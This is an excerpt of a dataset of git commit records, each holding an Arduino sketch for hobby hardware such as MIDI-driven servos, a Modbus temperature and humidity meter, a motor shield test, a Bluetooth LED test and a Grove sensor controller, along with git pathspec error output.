servoInc[pitch] = velocity2inc( servoMinInc[pitch], servoMaxInc[pitch], vel);\n servoState[pitch] = true;\n }\n else{ \/\/ activate relays\n digitalWrite(note2pin[pitch], LOW); \n }\n break;\n\n case midi::NoteOff:\n pitch = MIDI.getData1();\n if(pitch < 1){ \/\/ deactivate servos\n servoState[pitch] = false; \n }\n else{ \/\/ deactivate relays\n digitalWrite(note2pin[pitch], HIGH);\n } \n break;\n \n \/\/ CONTROL CHANGE (SET SERVO PARAMETERS)\n case midi::ControlChange:\n cc = MIDI.getData1();\n val = MIDI.getData2();\n \/\/ starting on cc=120\n EEPROM.write(cc-120, val); \/\/ store...\n updateServoParams(cc, val);\/\/...and update\n }\n }\n \n runServos(); \/\/ activate servos \n delay(1); \/\/ (used only to set servo increments in a millisecond basis)\n}\n\n\/***************** FUNTCIONS *****************\/\nbyte voltage2byte(float v){\n return v*255\/5.f;\n} \n\nfloat midi2angle(byte m){\n return 180\/127.f*m;\n}\n\nfloat velocity2inc(byte _min, byte _max, byte v){ \/\/ translate velocity values into position increments usign a min\/max inc.\n return map(v, 0, 127, _min, _max); \n}\n\nvoid runServos(){\n \/\/ servo1 attack\n if( servoState[0]==true && servoPos[0] < servoMaxAng[0] ){\n servo1.write(servoPos[0]);\n servoPos[0] += servoInc[0];\n }\n \/\/ servo1 release \n else if (servoState[0] == false){\n servoPos[0] = servoMinAng[0]; \n servo1.write( servoPos[0] ); \n }\n\n \/\/ servo2 attack\n if( servoState[1]==true && servoPos[1] < servoMaxAng[1] ){\n servo2.write(servoPos[1]);\n servoPos[1] += servoInc[1];\n }\n \/\/ servo2 release \n else if (servoState[1] == false){\n servoPos[1] = servoMinAng[1]; \n servo2.write( servoPos[1] ); \n }\n}\n\nvoid updateServoParams(byte addr, byte val){\n switch(addr){\n case 120:\n servoMinInc[0] = val;\n break;\n case 121: \n servoMaxInc[0] = val;\n break;\n case 122:\n servoMinInc[1] = val;\n break;\n case 123:\n servoMaxInc[1] = val;\n break;\n case 124:\n servoMinAng[0] = midi2angle(val);\n break;\n case 125: \n servoMaxAng[0] = midi2angle(val);\n break;\n case 126:\n servoMinAng[1] = midi2angle(val); \n break;\n case 127: \n servoMaxAng[1] = midi2angle(val);\n break;\n\n default:\n break;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Firmeware\/EnsembleSix\/EnsembleSix.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7fcad02373a0ff378da9be7f80f5afea16ae653d","subject":"Grove rewritten, interrupt only, 4s interval","message":"Grove rewritten, interrupt only, 4s interval\n\nSee worklog in Google Drive for details\n","repos":"alaviali\/OBI,alaviali\/OBI","old_file":"Individual sensor rewritten\/Grove.ino","new_file":"Individual sensor rewritten\/Grove.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Individual' did not match any file(s) known to git\nerror: pathspec 'sensor' did not match any file(s) known to git\nerror: pathspec 'rewritten\/Grove.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b26022411ad5d8fa1ebc2c9b054e0173b1bb26d9","subject":"Initial commit of Serial TH Meter","message":"Initial commit of Serial TH Meter\n","repos":"2mik\/arduino-2mik","old_file":"serial_th_meter\/serial_th_meter.ino","new_file":"serial_th_meter\/serial_th_meter.ino","new_contents":"\/* \n * Serial Humidity Temperature Meter \n * \n * Consists of\n * Arduino Nano,\n * DHT11\/22 - 1 unit,\n * DS18B20 - 3 units,\n * \n * Communicates using Modbus RTU:\n * Holding Registers (4x) 40001 - 40010\n * \n * (c) 2017, Mikhail Shiryaev\n *\/\n\n#include <DHT.h> \/\/ https:\/\/github.com\/adafruit\/DHT-sensor-library\n#include <OneWire.h> \/\/ http:\/\/www.pjrc.com\/teensy\/td_libs_OneWire.html\n#include <DallasTemperature.h> \/\/ https:\/\/github.com\/milesburton\/Arduino-Temperature-Control-Library\n\n\/\/ All the pins below are digital\n#define DHT_PIN 2 \/\/ DHT22 data\n#define ONE_WIRE_PIN0 5 \/\/ the 1st DS18B20 data\n#define ONE_WIRE_PIN1 6 \/\/ the 2nd DS18B20 data\n#define ONE_WIRE_PIN2 7 \/\/ the 3rd DS18B20 data\n\n#define DHT_TYPE DHT11 \/\/ DHT11 or DHT22\n#define ONE_WIRE_CNT 3 \/\/ count of 1-wire connections\n#define EMPTY_VAL -100.0 \/\/ empty float value of measurement\n#define MODBUS_HDR_LEN 9 \/\/ length of Modbus TCP header\n\n#define DEBUG \/\/ write detailed log to Serial port\n\n#ifdef DEBUG\n #define DEBUG_PRINT(val) Serial.print(val)\n #define DEBUG_PRINTHEX(val) Serial.print(val, HEX)\n #define DEBUG_PRINTLN(val) Serial.println(val)\n #define DEBUG_WRITETIME() writeTime()\n#else\n #define DEBUG_PRINT(val)\n #define DEBUG_PRINTHEX(val)\n #define DEBUG_PRINTLN(val) \n #define DEBUG_WRITETIME()\n#endif\n\n\/\/ DHT instance\nDHT dht(DHT_PIN, DHT_TYPE);\nfloat dhtH = EMPTY_VAL;\nfloat dhtT = EMPTY_VAL;\n\n\/\/ 1-wire and DS instances\nOneWire oneWire0(ONE_WIRE_PIN0);\nOneWire oneWire1(ONE_WIRE_PIN1);\nOneWire oneWire2(ONE_WIRE_PIN2);\nOneWire oneWires[] = {oneWire0, oneWire1, oneWire2};\nDallasTemperature dsSensors[ONE_WIRE_CNT];\nfloat dsT[ONE_WIRE_CNT] = { EMPTY_VAL, EMPTY_VAL, EMPTY_VAL };\n\n\/\/ Modbus\nconst byte modbusHeader[MODBUS_HDR_LEN] = { \n 0x00, 0x00, \/\/ Transaction identifier\n 0x00, 0x00, \/\/ Protocol identifier\n 0x00, 0x17, \/\/ Length\n 0x00, \/\/ Unit identifier\n 0x03, \/\/ Function code\n 0x14 \/\/ Byte count (20)\n};\n\n\/\/ Speed control\n#ifdef DEBUG\nunsigned long time;\n#endif\n\n\/\/ Initialize DHT sensor\nvoid initDHT() {\n dht.begin();\n DEBUG_PRINTLN(\"DHT sensor initialized\");\n}\n\n\/\/ Initialize DS sensors\nvoid initDS() {\n DeviceAddress deviceAddress;\n for (int i = 0; i < ONE_WIRE_CNT; i++) {\n dsSensors[i].setOneWire(&oneWires[i]);\n dsSensors[i].begin();\n if (dsSensors[i].getAddress(deviceAddress, 0)) \n dsSensors[i].setResolution(deviceAddress, 12);\n }\n DEBUG_PRINTLN(\"DS sensors initialized\");\n}\n\n#ifdef DEBUG\nvoid writeTime() {\n Serial.print(\"Time elapsed = \");\n Serial.println(millis() - time);\n}\n#endif\n\n\/\/ Read data from DHT sensor\nvoid readDHT() {\n DEBUG_WRITETIME();\n DEBUG_PRINTLN(\"Reading from DHT sensor\");\n \n dhtH = dht.readHumidity();\n dhtT = dht.readTemperature(); \/\/ *C\n \n DEBUG_WRITETIME();\n\n if (isnan(dhtH) || isnan(dhtT)) {\n dhtH = EMPTY_VAL;\n dhtT = EMPTY_VAL;\n DEBUG_PRINTLN(\"Error reading from DHT sensor\");\n } else {\n DEBUG_PRINT(\"h = \");\n DEBUG_PRINTLN(dhtH);\n DEBUG_PRINT(\"t = \");\n DEBUG_PRINTLN(dhtT);\n }\n \n DEBUG_WRITETIME();\n DEBUG_PRINTLN();\n}\n\n\/\/ Read data from DS sensor\nvoid readDS(int index) {\n DEBUG_WRITETIME();\n DEBUG_PRINT(\"Requesting DS sensor \");\n DEBUG_PRINTLN(index);\n\n dsSensors[index].requestTemperatures();\n \n DEBUG_WRITETIME();\n \n dsT[index] = dsSensors[index].getTempCByIndex(0);\n\n DEBUG_PRINT(\"t = \");\n DEBUG_PRINTLN(dsT[index]);\n DEBUG_WRITETIME();\n DEBUG_PRINTLN();\n}\n\n\/\/ Process Ethernet communication\nvoid communicate() {\n \/*\n DEBUG_WRITETIME();\n\n \/\/ manage connection\n unsigned long inactiveSpan = millis() - commTime;\n \n if (clientConnected) {\n if (inactiveSpan > DISCONN_TIME) {\n DEBUG_PRINTLN(\"Disconnecting inactive client\");\n client.stop();\n clientConnected = false;\n } else if (client.connected()) {\n DEBUG_PRINTLN(\"Client is still connected\");\n } else {\n client.stop();\n clientConnected = false;\n DEBUG_PRINTLN(\"Client has been disconnected\");\n }\n }\n\n if (!clientConnected) { \n \/\/ connection is considered to be established only when data are received\n client = server.available();\n if (client) {\n clientConnected = true;\n DEBUG_PRINTLN(\"New client is connected\");\n } else {\n DEBUG_PRINTLN(\"Client is not connected\");\n }\n }\n\n \/\/ communicating\n if (clientConnected) {\n \/\/ wait for the request 00 00 00 00 00 06 01 03 00 00 00 0A\n DEBUG_PRINT(\"Receiving data: \");\n boolean sendResponse = false;\n while (client.available() > 0) {\n DEBUG_PRINT(\"_\");\n char c = client.read();\n DEBUG_PRINTHEX(c);\n \n if (c == 0x0A) {\n sendResponse = true;\n commTime = millis(); \n inactiveSpan = 0;\n client.flush(); \/\/ clear input buffer\n break;\n }\n }\n DEBUG_PRINTLN();\n \n \/\/ send response\n if (sendResponse) {\n DEBUG_PRINTLN(\"Sending response\");\n client.write(modbusHeader, MODBUS_HDR_LEN);\n client.write((byte*)&dhtH, 4);\n client.write((byte*)&dhtT, 4);\n client.write((byte*)&dsT, 12);\n } else {\n DEBUG_PRINTLN(\"Response not required\");\n }\n }\n \n#ifdef USE_WATCHDOG\n \/\/ reset Watchdog timer if client is active\n if (inactiveSpan <= REINIT_TIME) {\n wdt_reset();\n }\n#else\n \/\/ reinit Ethernet if client can't connect\n if (inactiveSpan > REINIT_TIME) {\n initEthernet();\n }\n#endif\n \n DEBUG_WRITETIME();\n DEBUG_PRINTLN();\n *\/\n}\n\nvoid setup() {\n Serial.begin(9600);\n Serial.println(\"SERIAL TH meter started\");\n initDHT();\n initDS();\n DEBUG_PRINTLN();\n}\n\nvoid loop() {\n#ifdef DEBUG\n time = millis(); \n delay(500);\n#endif\n\n readDHT(); \/\/ around 270 ms\n communicate();\n readDS(0); \/\/ around 800 ms\n communicate();\n readDS(1); \/\/ around 800 ms\n communicate();\n readDS(2); \/\/ around 800 ms\n communicate();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'serial_th_meter\/serial_th_meter.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7324c5a8dbbbad438fc8a6f16a40bb1c7c1285e4","subject":"Add test sketch which simply runs each motor separately, without input from Android","message":"Add test sketch which simply runs each motor separately, without input from Android\n","repos":"zvikabh\/RCCarController,zvikabh\/RCCarController","old_file":"Arduino\/motor_test\/motor_test.ino","new_file":"Arduino\/motor_test\/motor_test.ino","new_contents":"#include \"DualVNH5019MotorShield.h\"\n \nDualVNH5019MotorShield md;\n \nvoid stopIfFault()\n{\n if (md.getM1Fault())\n {\n Serial.println(\"M1 fault\");\n while(1);\n }\n if (md.getM2Fault())\n {\n Serial.println(\"M2 fault\");\n while(1);\n }\n}\n \nvoid setup()\n{\n Serial.begin(19200);\n Serial.println(\"Dual VNH5019 Motor Shield\");\n md.init();\n}\n \nvoid loop()\n{\n for (int i = 0; i <= 400; i++)\n {\n md.setM1Speed(i);\n stopIfFault();\n if (i%200 == 100)\n {\n Serial.print(\"M1 current: \");\n Serial.println(md.getM1CurrentMilliamps());\n }\n delay(2);\n }\n \n for (int i = 400; i >= -400; i--)\n {\n md.setM1Speed(i);\n stopIfFault();\n if (i%200 == 100)\n {\n Serial.print(\"M1 current: \");\n Serial.println(md.getM1CurrentMilliamps());\n }\n delay(2);\n }\n \n for (int i = -400; i <= 0; i++)\n {\n md.setM1Speed(i);\n stopIfFault();\n if (i%200 == 100)\n {\n Serial.print(\"M1 current: \");\n Serial.println(md.getM1CurrentMilliamps());\n }\n delay(2);\n }\n \n for (int i = 0; i <= 400; i++)\n {\n md.setM2Speed(i);\n stopIfFault();\n if (i%200 == 100)\n {\n Serial.print(\"M2 current: \");\n Serial.println(md.getM2CurrentMilliamps());\n }\n delay(2);\n }\n \n for (int i = 400; i >= -400; i--)\n {\n md.setM2Speed(i);\n stopIfFault();\n if (i%200 == 100)\n {\n Serial.print(\"M2 current: \");\n Serial.println(md.getM2CurrentMilliamps());\n }\n delay(2);\n }\n \n for (int i = -400; i <= 0; i++)\n {\n md.setM2Speed(i);\n stopIfFault();\n if (i%200 == 100)\n {\n Serial.print(\"M2 current: \");\n Serial.println(md.getM2CurrentMilliamps());\n }\n delay(2);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/motor_test\/motor_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c0549a43a83eb32073e1895b8c87cdba8e98de0c","subject":"Bluetooth Test Code","message":"Bluetooth Test Code\n","repos":"StaziaTronboll\/Grand-PriIEEE-STOOPS,StaziaTronboll\/Grand-PriIEEE-STOOPS","old_file":"test_BT_LED_v2.ino","new_file":"test_BT_LED_v2.ino","new_contents":"\n\/\/ Test LED\nint led = 13;\n\n\/\/ Byte (one character) read in from Virtual Serial COMM (Bluetooth)\nbyte inByte = 0;\n\n\/\/ Acknowledgment variable (while-loop sentinel)\nbyte ack = 0;\n\n\/\/ Setup\nvoid setup() { \n \/\/ Open up Bluetooth Virtual Serial COMM port\n Serial.begin(9600); \n \n \/\/ Configure digital for OUTPUT\n pinMode(led,OUTPUT);\n}\n\n\/\/ Main\nvoid loop() {\n while (!ack) {\n ack = getAck(); \n delay(3000);\n }\n \/\/byte serialCmd = getSerialCmd();\n\n \/\/doSerialCmd(serialCmd);\n\n doSerialCmd(getSerialCmd());\n\n}\n\nbyte getAck() {\nSerial.write(\"\\r\\nPress <c> for command list\\r\\n\");\n Serial.write(\">\");\n byte inByte = Serial.read();\n\n if ( inByte == 'c' ) {\n Serial.write(inByte);\n ack = 1;\n printNewLn();\n printCmdList();\n printNewCmdLn();\n return 1;\n } \n return 0;\n}\n\n\/\/ Performs serial command based on user input\nvoid doSerialCmd( byte cmd ) {\n switch( cmd ) {\n \/\/ Turn LED HIGH\n case ('h'):\n ledON();\n printNewCmdLn();\n break;\n \n \/\/ Turn LED LOW\n case ('l'):\n ledOFF();\n printNewCmdLn();\n break;\n \n \/\/ Display CMD List\n case ('c'):\n printCmdList();\n printNewCmdLn();\n break;\n }\n}\n\n\/\/ Prompts User for input serial command\n\/\/ Returns serial command\nbyte getSerialCmd() {\n byte inByte;\n if (Serial.available()) {\n inByte = Serial.read();\n Serial.write(inByte);\n printNewLn();\n return inByte;\n }\n}\n\n\/\/ Turns LED ON and writes to Serial\nvoid ledON() {\n digitalWrite(led, HIGH);\n Serial.write(\" The LED is ON!\");\n}\n\n\/\/ Turns LED OFF and writes to Serial\nvoid ledOFF() {\n digitalWrite(led, LOW);\n Serial.write(\" The LED is OFF!\");\n}\n\n\/\/ Prints the command list\nvoid printCmdList() {\n Serial.write(\" Commands:\\r\\n\");\n Serial.write(\" <h> Turn ON LED\\r\\n\");\n Serial.write(\" <l> Turn OFF LED\\r\\n\"); \n Serial.write(\" <c> Command List\"); \n}\n\n\/\/ Prints a new command line cursor\nvoid printNewCmdLn() {\n printNewLn();\n Serial.write(\">\");\n}\n\n\/\/ Prints a modified new line\nvoid printNewLn() {\n Serial.write(\"\\r\\n\");\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'test_BT_LED_v2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"43f4adfd6445d33f0d8bd3f6be943c6759c853f9","subject":"Grove experiment example code initial commit","message":"Grove experiment example code initial commit\n","repos":"mwswartwout\/Edison_Android_Communications,mwswartwout\/Edison_Android_Communications","old_file":"homework1\/homework1.ino","new_file":"homework1\/homework1.ino","new_contents":"#include <Servo.h>\n#include <SPI.h>\n#include <WiFi.h>\n#include <TimerOne.h>\n#include \"rgb_lcd.h\"\n#include <stdlib.h>\n#include <string.h>\n#include <TH02_dev.h>\n\n\n#define CMDSTR_MAX_LEN (128)\n#define LOW_TEMP (10)\n#define NOM_TEMP (25) \n#define HIGH_TEMP (40)\n\n#define SENSOR_COUNT (6)\n#define ACTUATOR_COUNT (4)\n#define VAR1_COUNT (SENSOR_COUNT+1)\n#define VAR2_COUNT (ACTUATOR_COUNT+1)\ntypedef void (*pActuatorHandler)(int);\ntypedef int (*pgetSensorValue)(void);\n\nrgb_lcd lcd;\nboolean isBackLightOn = true;\n\nchar cmdstr[CMDSTR_MAX_LEN];\n\n\/\/ char ssid[48] = \"EdisonAP\"; \/\/ your network SSID (name) \n\/\/ char psw[48] = \"12345678\"; \/\/ your network password\n\/\/ boolean isSSIDreconfiged = false;\n\/\/ int keyIndex = 0; \/\/ your network key Index number (needed only for WEP)\n\/\/ int status = WL_IDLE_STATUS;\n\/\/ WiFiServer server(88);\n\/\/ int serverconnected = 0;\n\nunsigned char BLColorRGB[]={0x00, 0x00, 0xFF}; \/\/Backlight color\n\nconst int numRows = 2;\nconst int numCols = 16;\n\nconst int MenuCount = 5;\nint MenuIndex = 0;\n\nconst int MoistureSensorIndex = 0;\nconst int LightSensorIndex = 1;\nconst int UVSensorIndex = 2;\nconst int THSensorIndex = 3;\nconst int LocalIPIndex = 4;\n\nconst int pinSound = A0;\nconst int pinMoisture = A1;\nconst int pinLight = A2;\nconst int pinUV = A3;\nconst int pinButton =0;\nconst int pinEncoder1 = 2;\nconst int pinEncoder2 = 3;\nconst int pinBuzzer = 4;\nconst int pinRelay = 5;\nconst int pinPIR = 7;\nconst int pinServo = 6;\nServo myservo;\n\nconst char* SerialVarList1[] = { \"temp\", \"humi\", \"light\", \"uv\", \"pir\", \"ms\",\"ssid\"};\nconst char* SerialVarList2[] = { \"relay\", \"buzzer\", \"servo\", \"sleep\", \"psw\"};\nenum ACTUATOR {RELAY=0,BUZZER,SERVO,SLEEP};\nenum SENSOR {TEMPER=0,HUMI,LIGHT,UV,PIR,MS};\n\npgetSensorValue getSensorValueList[]={\n getTempSensorValue, \n getHumiSensorValue, \n getLightSensorValue, \n getUVSensorValue, \n getPIRSensorValue, \n getMoistureSensorValue\n};\n\nint SensorValue[SENSOR_COUNT];\n \npActuatorHandler ActuatorHandlerList[]={RelayHandle, BuzzerHandle, ServoHandle, SleepHandle};\n\nint SensorConfig[][4] = { \/\/ value, condition, Actuator, action\n {85, '>', SLEEP, 1}, \/\/Temperature\n {100, '>', SLEEP, 1}, \/\/Humdity\n {200, '<', SERVO, 90}, \/\/Light\n {1023,'>', SLEEP, 1}, \/\/UV\n {2, '=', BUZZER, 1}, \/\/PIR\n {600, '<', RELAY, 1} \/\/Moisture\n};\n\nvoid printSettings(void){\n Serial.println(\"The Sensors Configurations as follow:\");\n for(int i=0; i<SENSOR_COUNT;i++){\n Serial.print(SerialVarList1[i]);\n Serial.write((char)SensorConfig[i][1]);\n Serial.print(SensorConfig[i][0]);\n Serial.write(',');\n Serial.print(SerialVarList2[SensorConfig[i][2]]);\n Serial.write('=');\n Serial.println(SensorConfig[i][3]); \n }\n Serial.print('\\n');\n \/\/ Serial.print(\"SSID = \");\n \/\/ Serial.print(ssid);\n \/\/ Serial.print(\", PSW = \");\n \/\/ Serial.println(psw);\n \n Serial.println(\"The Sensors Value as follow:\");\n for(int i=0; i<SENSOR_COUNT;i++){\n Serial.print(SerialVarList1[i]);\n Serial.print(\" = \");\n Serial.println(getSensorValueList[i]()); \n }\n}\n\nvoid SerialRequestHandler(){\n if(cmdstrInput(cmdstr)){\n Serial.println(cmdstr);\n if(!parsecmd(cmdstr)){\n Serial.println(\" ---- FAIL!\");\n Serial.println(\"Please enter command: set temp>50,relay=1 etc.\");\n }\n else {\n Serial.println(\" ---- OK!\");\n }\n printSettings();\n }\n int changedVal;\n for(int i=0;i<SENSOR_COUNT;i++){\n if(SensorConfig[i][2]==SERVO) changedVal = 0;\n else changedVal = !SensorConfig[i][0];\n switch (SensorConfig[i][1]){\n case '>':\n if(getSensorValueList[i]() > SensorConfig[i][0]) \n ActuatorHandlerList[SensorConfig[i][2]](SensorConfig[i][3]);\n else ActuatorHandlerList[SensorConfig[i][2]](changedVal);\n break;\n case '<':\n if(getSensorValueList[i]() < SensorConfig[i][0]) \n ActuatorHandlerList[SensorConfig[i][2]](SensorConfig[i][3]);\n else ActuatorHandlerList[SensorConfig[i][2]](changedVal);\n break;\n case '=':\n if(getSensorValueList[i]() == SensorConfig[i][0]) \n ActuatorHandlerList[SensorConfig[i][2]](SensorConfig[i][3]);\n else ActuatorHandlerList[SensorConfig[i][2]](changedVal);\n break;\n }\n }\n}\n\nint parsecmd(char *cmd){\n char* cp = cmd;\n\n\/* \/\/ use SSID and Passwrod, should not changed to lowcase\n while(*cp != '\\0'){\n if(*cp >= 'A' && *cp <= 'Z') *cp += 0x20; \/\/tolower\n cp++;\n }\n*\/\n \n if(!(cmd[0]=='s' && cmd[1]=='e' && cmd[2]=='t' && cmd[3]==' ')) return 0; \/\/Illegal cmd\n \n char tmpcmd[CMDSTR_MAX_LEN];\n char *cp1=cmd+4;\n int len=0;\n while(*cp1 != '\\0'){\n if(*cp1 != ' ') tmpcmd[len++] = *cp1; \/\/delete space\n cp1++;\n }\n tmpcmd[len]='\\0';\n if(len<7) return 0; \/\/ at least 7 characters,like T>0,R=1\n \n char *pvar1, *pvar2;\n pvar1 = strtok(tmpcmd,\",\");\n if(pvar1 == NULL) return 0; \/\/no setting\n pvar2 = strtok(NULL,\",\");\n if(pvar2 == NULL) return 0; \/\/no setting\n if(strtok(NULL,\",\")!=NULL) return 0; \/\/more setting\n \n char op1='\\0',op2='\\0';\n char *pvarvalue1=NULL, *pvarvalue2=NULL;\n int i = 0;\n while(pvar1[i]!='\\0'){\n if(pvar1[i]=='>' || pvar1[i]=='<' || pvar1[i]=='='){\n op1 = pvar1[i];\n pvar1[i] = '\\0';\n pvarvalue1 = pvar1+i+1;\n break;\n }\n i++;\n }\n i=0;\n while(pvar2[i]!='\\0'){\n if(pvar2[i]=='>' || pvar2[i]=='<' || pvar2[i]=='='){\n op2 = pvar2[i];\n pvar2[i] = '\\0';\n pvarvalue2 = pvar2+i+1;\n break;\n }\n i++;\n }\n int varindex1,varindex2;\n for(i=0;i<VAR1_COUNT;i++)\n if(strcmp(pvar1,SerialVarList1[i])==0){\n varindex1 = i;\n break;\n }\n \n if(i==VAR1_COUNT) return 0; \/\/ Illegal sensor name\n \n for(i=0;i<VAR2_COUNT;i++)\n if(strcmp(pvar2,SerialVarList2[i])==0){\n varindex2 = i;\n break;\n }\n \n if(i==VAR2_COUNT) return 0; \/\/ Illegal actuator name\n \n if(op1=='\\0' || op2=='\\0') return 0; \/\/ Illegal operator name\n \n if(varindex1 == VAR1_COUNT-1 && varindex2 == VAR2_COUNT-1){\n strcpy(ssid,pvarvalue1);\n strcpy(psw,pvarvalue2);\n isSSIDreconfiged = true;\n } \n else if(varindex1 != VAR1_COUNT-1 && varindex2 != VAR2_COUNT-1) {\n int value1 = atoi(pvarvalue1), value2 = atoi(pvarvalue2);\n if(value1 < 0 || value1 > 1023) return 0;\n if(value2 < 0 || value2 > 1023) return 0; \n SensorConfig[varindex1][0] = value1;\n SensorConfig[varindex1][1] = op1;\n SensorConfig[varindex1][2] = varindex2;\n SensorConfig[varindex1][3] = value2;\n }\n \n return 1;\n}\n\n\n\/\/get Grove-Sound Sensor value\nint getSoundSensorValue(){\n return analogRead(pinSound);\n}\n\/\/get Temperature Senso value\nint getTempSensorValue(){\n int temper =(int) TH02.ReadTemperature();\n SensorValue[TEMPER] = temper;\n return temper;\n}\n\n\/\/get Humidity Senso value\nint getHumiSensorValue(){\n int humidity =(int)TH02.ReadHumidity();\n SensorValue[HUMI] = humidity;\n return humidity;\n}\n\n\/\/get Grove-Moisture Sensor value\nint getMoistureSensorValue(){\n return (SensorValue[MS] = analogRead(pinMoisture));\n}\n\n\/\/get Grove-Light Sensor value\nint getLightSensorValue(){\n return (SensorValue[LIGHT] = analogRead(pinLight));\n}\n\n\/\/get Grove-UV Sensor value\nint getUVSensorValue(){\n return (SensorValue[UV] = analogRead(pinUV));\n}\n\n\/\/Grove PIR Motion Sensor\nint getPIRSensorValue(){\n return (SensorValue[PIR] = digitalRead(pinPIR));\n}\n\n \n\/\/display Temperature&Humidity Senso value on LCD\nvoid displayTHSensorValue(){\n lcd.clear();\n lcd.print(\" Temp&Humidity \");\n lcd.setCursor(0,1);\n lcd.print(\"<-\");\n char number[16];\n sprintf(number,\"%d\",getTempSensorValue());\n lcd.setCursor(3,1);\n lcd.print(number);\n lcd.print(\"C\");\n sprintf(number,\"%d\",getHumiSensorValue());\n lcd.setCursor(9,1);\n lcd.print(number);\n lcd.print(\"%\");\n lcd.setCursor(numCols-2,1);\n lcd.print(\"->\");\n}\n\n\/\/display Grove-Moisture Sensor value on LCD\nvoid displayMoistureSensorValue(){\n lcd.clear();\n lcd.print(\"Moisture Sensor \");\n char number[16];\n int len = sprintf(number,\"%d\",getMoistureSensorValue());\n lcd.setCursor(0,1);\n lcd.print(\"<-\");\n lcd.setCursor((numCols-len)\/2,1);\n lcd.print(number);\n lcd.setCursor(numCols-2,1);\n lcd.print(\"->\");\n}\n\n\/\/display Grove-Light Sensor value on LCD\nvoid displayLightSensorValue(){\n lcd.clear();\n lcd.print(\" Light Sensor \");\n char number[16];\n int len = sprintf(number,\"%d\",getLightSensorValue());\n lcd.setCursor(0,1);\n lcd.print(\"<-\");\n lcd.setCursor((numCols-len)\/2,1);\n lcd.print(number);\n lcd.setCursor(numCols-2,1);\n lcd.print(\"->\");\n}\n\n\/\/display Grove-UV Sensor value on LCD\nvoid displayUVSensorValue(){\n lcd.clear();\n lcd.print(\" UV Sensor \");\n char number[16];\n int len = sprintf(number,\"%d\",getUVSensorValue());\n lcd.setCursor(0,1);\n lcd.print(\"<-\");\n lcd.setCursor((numCols-len)\/2,1);\n lcd.print(number);\n lcd.setCursor(numCols-2,1);\n lcd.print(\"->\");\n}\n\n\/\/display local ip\nvoid displayLocalIP(){\n IPAddress ip = WiFi.localIP();\n char local_ip[16];\n sprintf(local_ip,\"%d.%d.%d.%d\",ip[0],ip[1],ip[2],ip[3]);\n local_ip[15]= '\\0';\n lcd.clear();\n lcd.print(\" Local IP \");\n lcd.setCursor(0,1);\n lcd.print(local_ip);\n}\n \n\n\/\/is button pressed\nint isButtonPressed(){\n int state = 0;\n if(digitalRead(pinButton)){\n while(digitalRead(pinButton));\n state = 1;\n }\n return state;\n}\n\nvoid RelayHandle(int val){\n if(val==1) {\n digitalWrite(pinRelay,HIGH);\n }\n else if(val==0){\n digitalWrite(pinRelay,LOW);\n }\n}\nvoid BuzzerHandle(int val){\n if(!(val==0 || val==1)) return;\n if(val==1)\n digitalWrite(pinBuzzer,HIGH);\n else if(val==0)\n digitalWrite(pinBuzzer,LOW);\n}\nvoid ServoHandle(int val){\n static unsigned long curt = millis();\n if(millis()-curt > 1000){\n myservo.write(val);\n curt = millis();\n }\n}\n\nvoid SleepHandle(int val){\n return;\n} \n \n \nvoid setup() \n{\n Serial.begin(9600);\n \/\/ set up the LCD's number of columns and rows:\n lcd.begin(16, 2); \n \n WiFi_Init();\n \n pinMode(pinButton,INPUT);\n pinMode(pinRelay,OUTPUT);\n pinMode(pinBuzzer,OUTPUT);\n pinMode(pinEncoder1,INPUT);\n pinMode(pinEncoder2,INPUT);\n myservo.attach(pinServo);\n myservo.write(0);\n \n printSettings();\n \n Timer1.initialize(20000); \/\/ set a timer of length 2000 microseconds\n Timer1.attachInterrupt(timerIsr); \/\/ attach the service routine here\n attachInterrupt(pinEncoder2,EncoderISR,FALLING); \n}\nvoid EncoderISR(){\n while(!digitalRead(pinEncoder2));\n if(digitalRead(pinEncoder1)==HIGH){\n MenuIndex++;\n if(MenuIndex >= MenuCount) MenuIndex = 0;\n } else {\n MenuIndex--;\n if(MenuIndex < 0) MenuIndex = MenuCount - 1;\n } \n}\n\n\/\/timer interrupt handler\nvoid timerIsr(){\n RequestHandler();\n}\n\n\/\/ display menu on the LCD screen\nvoid displayMenu(){\n static unsigned long curtime = millis();\n if(millis()-curtime > 1000){\n \/\/noInterrupts();\n switch(MenuIndex){\n case(THSensorIndex):\n displayTHSensorValue();\n break; \n case(MoistureSensorIndex):\n displayMoistureSensorValue();\n break;\n case(UVSensorIndex):\n displayUVSensorValue();\n break;\n case(LightSensorIndex):\n displayLightSensorValue();\n break;\n case(LocalIPIndex):\n displayLocalIP();\n break;\n }\n curtime = millis();\n \/\/interrupts();\n }\n}\n\nvoid TempColorHandle(){\n int temp = getTempSensorValue();\n if(!isBackLightOn){\n lcd.setRGB(0,0,0);\n return;\n }\n if(temp<LOW_TEMP) {\n BLColorRGB[0]=0x00; \n BLColorRGB[1]=0x00; \n BLColorRGB[2]=0xFF;\n }\n else if(temp<NOM_TEMP){\n BLColorRGB[0]=0x00;\n BLColorRGB[1]=map(temp,LOW_TEMP,NOM_TEMP-1,0,255); \n BLColorRGB[2]=map(temp,LOW_TEMP,NOM_TEMP-1,255,0);\n }\n else if(temp<HIGH_TEMP){\n BLColorRGB[0]=map(temp,NOM_TEMP,HIGH_TEMP-1,0,255); \n BLColorRGB[1]=map(temp,NOM_TEMP,HIGH_TEMP-1,255,0);\n BLColorRGB[2]=0x00;\n }\n else {\n BLColorRGB[0]=0xFF; \n BLColorRGB[1]=0x00;\n BLColorRGB[2]=0x00;\n }\n lcd.setRGB(BLColorRGB[0],BLColorRGB[1],BLColorRGB[2]);\n} \n \nvoid loop() \n{\n TempColorHandle();\n \n displayMenu();\n \n SerialRequestHandler();\n \n \/\/if button pressed, backlight transforms\n if(isButtonPressed()) isBackLightOn = !isBackLightOn;\n \n \/\/if reconfig WiFi SSID,reconnect.\n if(isSSIDreconfiged==true) {\n status = WL_IDLE_STATUS;\n isSSIDreconfiged = false;\n }\n \n \n}\n\nint cmdstrInput(char *str){\n static int index = 0;\n 